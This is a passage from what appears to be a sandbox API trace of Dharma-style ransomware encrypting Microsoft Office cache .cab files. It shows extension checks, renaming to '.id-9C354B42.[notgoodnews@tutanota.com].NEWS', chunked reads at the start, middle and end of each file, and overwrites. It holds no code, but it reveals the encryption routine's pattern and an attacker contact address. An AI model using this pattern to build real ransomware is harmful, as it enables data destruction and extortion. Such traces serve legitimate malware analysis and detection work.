dwFlags=0x0, lpMem=0x40358b0 | out: hHeap=0x5c0000) returned 1 [0063.566] CloseHandle (hObject=0x194) returned 1 [0063.566] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0063.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0063.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0063.567] lstrlenW (lpString=".doc") returned 4 [0063.567] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0063.567] lstrlenW (lpString=".docx") returned 5 [0063.567] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0063.567] lstrlenW (lpString=".pdf") returned 4 [0063.567] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0063.567] lstrlenW (lpString=".xls") returned 4 [0063.567] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0063.567] lstrlenW (lpString=".xlsx") returned 5 [0063.567] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0063.567] lstrlenW (lpString=".ppt") returned 4 [0063.567] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0063.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0063.567] lstrlenW (lpString=".zip") returned 4 [0063.567] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0063.567] lstrlenW (lpString=".rar") returned 4 [0063.567] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0063.568] lstrlenW (lpString=".bz2") returned 4 [0063.568] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0063.568] lstrlenW (lpString=".7z") returned 3 [0063.568] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0063.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0063.568] lstrlenW (lpString=".dbf") returned 4 [0063.568] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0063.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0063.568] lstrlenW (lpString=".1cd") returned 4 [0063.568] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0063.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0063.568] lstrlenW (lpString=".jpg") returned 4 [0063.568] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0063.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0063.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0063.568] lstrlenW (lpString=".doc") returned 4 [0063.569] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0063.569] lstrlenW (lpString=".docx") returned 5 [0063.569] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0063.569] lstrlenW (lpString=".pdf") returned 4 [0063.569] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0063.569] lstrlenW (lpString=".xls") returned 4 [0063.569] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0063.569] lstrlenW (lpString=".xlsx") returned 5 [0063.569] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0063.569] lstrlenW (lpString=".ppt") returned 4 [0063.569] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0063.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0063.569] lstrlenW (lpString=".zip") returned 4 [0063.570] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0063.570] lstrlenW (lpString=".rar") returned 4 [0063.570] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0063.570] lstrlenW (lpString=".bz2") returned 4 [0063.570] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0063.570] lstrlenW (lpString=".7z") returned 3 [0063.570] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0063.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0063.570] lstrlenW (lpString=".dbf") returned 4 [0063.570] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0063.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0063.570] lstrlenW (lpString=".1cd") returned 4 [0063.570] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0063.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0063.570] lstrlenW (lpString=".jpg") returned 4 [0063.570] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0063.571] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0063.571] lstrlenW (lpString="OnoteLR.cab") returned 11 [0063.571] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0063.571] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=17456632) returned 1 [0063.571] CloseHandle (hObject=0x194) returned 1 [0063.571] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0063.571] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.571] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0063.572] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0063.572] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0x0) returned 1 [0063.573] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0063.573] ReadFile (in: hFile=0x194, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.601] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0063.601] ReadFile (in: hFile=0x194, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.616] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0063.616] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0063.616] ReadFile (in: hFile=0x194, lpBuffer=0x3d00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d00058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.634] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.635] WriteFile (in: hFile=0x194, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x35cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0063.884] SetEndOfFile (hFile=0x194) returned 1 [0063.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4035008 [0063.885] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0063.885] WriteFile (in: hFile=0x194, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.886] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0063.886] WriteFile (in: hFile=0x194, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.887] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0063.887] WriteFile (in: hFile=0x194, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.891] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4035008 | out: hHeap=0x5c0000) returned 1 [0063.891] CloseHandle (hObject=0x194) returned 1 [0063.891] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0063.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0063.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0063.892] lstrlenW (lpString=".doc") returned 4 [0063.892] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0063.892] lstrlenW (lpString=".docx") returned 5 [0063.892] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0063.892] lstrlenW (lpString=".pdf") returned 4 [0063.892] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0063.892] lstrlenW (lpString=".xls") returned 4 [0063.892] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0063.892] lstrlenW (lpString=".xlsx") returned 5 [0063.892] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0063.892] lstrlenW (lpString=".ppt") returned 4 [0063.892] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0063.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0063.892] lstrlenW (lpString=".zip") returned 4 [0063.892] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0063.892] lstrlenW (lpString=".rar") returned 4 [0063.892] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0063.892] lstrlenW (lpString=".bz2") returned 4 [0063.892] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0063.893] lstrlenW (lpString=".7z") returned 3 [0063.893] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0063.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0063.893] lstrlenW (lpString=".dbf") returned 4 [0063.893] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0063.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0063.893] lstrlenW (lpString=".1cd") returned 4 [0063.893] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0063.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0063.893] lstrlenW (lpString=".jpg") returned 4 [0063.893] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0063.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0063.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0063.893] lstrlenW (lpString=".doc") returned 4 [0063.893] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0063.893] lstrlenW (lpString=".docx") returned 5 [0063.893] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0063.893] lstrlenW (lpString=".pdf") returned 4 [0063.893] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0063.893] lstrlenW (lpString=".xls") returned 4 [0063.893] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0063.894] lstrlenW (lpString=".xlsx") returned 5 [0063.894] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0063.894] lstrlenW (lpString=".ppt") returned 4 [0063.894] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0063.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0063.894] lstrlenW (lpString=".zip") returned 4 [0063.894] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0063.894] lstrlenW (lpString=".rar") returned 4 [0063.894] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0063.894] lstrlenW (lpString=".bz2") returned 4 [0063.894] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0063.894] lstrlenW (lpString=".7z") returned 3 [0063.894] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0063.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0063.894] lstrlenW (lpString=".dbf") returned 4 [0063.894] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0063.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0063.894] lstrlenW (lpString=".1cd") returned 4 [0063.894] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0063.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0063.894] lstrlenW (lpString=".jpg") returned 4 [0063.894] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0063.895] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0063.895] lstrlenW (lpString="GrooveLR.cab") returned 12 [0063.895] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0063.895] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=4095519) returned 1 [0063.895] CloseHandle (hObject=0x194) returned 1 [0063.895] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0063.896] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.896] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0063.897] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0063.897] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0x0) returned 1 [0063.897] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0063.897] ReadFile (in: hFile=0x194, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.116] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0064.116] ReadFile (in: hFile=0x194, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.122] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0064.122] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0064.122] ReadFile (in: hFile=0x194, lpBuffer=0x3d00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d00058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.139] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0064.140] WriteFile (in: hFile=0x194, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x35cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0064.436] SetEndOfFile (hFile=0x194) returned 1 [0064.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3ef4860 [0064.442] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0064.442] WriteFile (in: hFile=0x194, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.445] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0064.445] WriteFile (in: hFile=0x194, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.449] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0064.449] WriteFile (in: hFile=0x194, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ef4860 | out: hHeap=0x5c0000) returned 1 [0064.454] CloseHandle (hObject=0x194) returned 1 [0064.454] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0064.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0064.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0064.455] lstrlenW (lpString=".doc") returned 4 [0064.455] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0064.455] lstrlenW (lpString=".docx") returned 5 [0064.455] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0064.455] lstrlenW (lpString=".pdf") returned 4 [0064.455] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0064.455] lstrlenW (lpString=".xls") returned 4 [0064.455] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0064.455] lstrlenW (lpString=".xlsx") returned 5 [0064.455] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0064.455] lstrlenW (lpString=".ppt") returned 4 [0064.455] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0064.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0064.455] lstrlenW (lpString=".zip") returned 4 [0064.455] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0064.456] lstrlenW (lpString=".rar") returned 4 [0064.456] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0064.456] lstrlenW (lpString=".bz2") returned 4 [0064.456] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0064.456] lstrlenW (lpString=".7z") returned 3 [0064.456] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0064.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0064.456] lstrlenW (lpString=".dbf") returned 4 [0064.456] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0064.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0064.456] lstrlenW (lpString=".1cd") returned 4 [0064.456] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0064.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0064.456] lstrlenW (lpString=".jpg") returned 4 [0064.456] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0064.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0064.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0064.456] lstrlenW (lpString=".doc") returned 4 [0064.457] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0064.457] lstrlenW (lpString=".docx") returned 5 [0064.457] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0064.457] lstrlenW (lpString=".pdf") returned 4 [0064.457] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0064.457] lstrlenW (lpString=".xls") returned 4 [0064.457] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0064.457] lstrlenW (lpString=".xlsx") returned 5 [0064.457] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0064.457] lstrlenW (lpString=".ppt") returned 4 [0064.457] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0064.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0064.457] lstrlenW (lpString=".zip") returned 4 [0064.457] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0064.457] lstrlenW (lpString=".rar") returned 4 [0064.457] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0064.457] lstrlenW (lpString=".bz2") returned 4 [0064.457] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0064.457] lstrlenW (lpString=".7z") returned 3 [0064.457] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0064.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0064.457] lstrlenW (lpString=".dbf") returned 4 [0064.458] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0064.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0064.719] lstrlenW (lpString=".1cd") returned 4 [0064.719] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0064.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0064.720] lstrlenW 